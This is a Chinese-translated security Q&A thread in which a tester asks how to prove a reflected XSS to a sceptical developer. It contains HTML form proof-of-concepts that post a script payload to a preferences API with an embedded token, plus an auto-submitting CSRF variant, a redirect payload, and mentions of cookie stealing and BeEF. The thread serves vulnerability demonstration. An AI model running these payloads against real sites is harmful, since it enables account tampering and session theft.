我试图用XSS制作一个PoC:
攻击样本:
我已经将脚本注入到值中:
<html>
<body>
<form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
<input type="hidden" name="name" value="emoji_use" />
<input type="hidden" name="value" value="<script>alert('xss')</script>" />
<input type="hidden" name="token" value="xoxs-14407185377-14407185393-14621684436-9d317bf841" />
<input type="hidden" name="_attempts" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>我用<script>alert('xss')</script>从浏览器中获得了成功的响应。现在,脚本被注入并在响应时反映出来,我指出它反映了XSS。问题是警报不会弹出,所以它只是作为浏览器响应而来。
现在,我的开发人员认为,既然脚本不会在浏览器中执行,所以它就不会受到攻击。我怎样才能证明这个概念呢?
我可以想到的可能的攻击是将一个巧尽心思构建的链接发送给带有牛肉的开发人员,并控制该机器以证明该漏洞。
有没有其他方法来证明反射的XSS,或者任何让我的开发人员信服的可能的解释?我正在寻求社区的建议,还有其他的想法来证明吗?
发布于 2015-11-16 06:37:04
警报没有显示这一事实并不意味着它不在那里,作为回报,它意味着没有执行输入验证。光是这一点就足够了。
我的下一个想法是(如果内容类型设置为html而不是json)来更改有效负载。如果你这样做了会发生什么:
<script>document.location.href="http://www.google.com";</script>假设在API前面使用了一个web应用程序,也许您可以演示cookie盗取者场景。
此外,您可以在使用诸如Fiddler和Burp这样的代理时演示警报框:选择响应,然后单击"generate“。
发布于 2015-11-16 06:45:03
当您从另一个网站提交表单时,页面是否反映了易受攻击的参数?换句话说,它是否受到CSRF的保护?
如果没有,您可以简单地将表单添加到另一个网站并使用javascript自动提交。
下面是一个PoC:
<html>
<body>
<form action="https://test.com/api/users.prefs.set?t=1447648400" method="POST">
<input type="hidden" name="name" value="emoji_use" />
<input type="hidden" name="value" value="<script>alert('xss')</script>" />
<input type="hidden" name="token" value="xoxs-14407185377-14407185393-14621684436-9d317bf841" />
<input type="hidden" name="_attempts" value="1" />
<input type="submit" value="Submit request" />
</form>
<script type ="text/javascript ">
document.forms[0].submit();
</script>
</body>
</html>https://security.stackexchange.com/questions/105617
复制相似问题